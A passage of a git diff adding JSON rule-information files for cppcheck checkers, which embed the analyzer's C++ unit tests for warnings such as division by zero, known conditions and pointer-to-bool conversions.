f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkNegativeBitwiseShift.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkNegativeBitwiseShift.json new file mode 100644 index 0000000..a523065 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkNegativeBitwiseShift.json @@ -0,0 +1,13 @@ +{ + "name": "checkNegativeBitwiseShift", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 32, + "branches": 13, + "apis": 30, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkOverlappingWrite.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkOverlappingWrite.json new file mode 100644 index 0000000..78be2ad --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkOverlappingWrite.json @@ -0,0 +1,22 @@ +{ + "name": "checkOverlappingWrite", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 90, + "branches": 28, + "apis": 79, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 12862 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 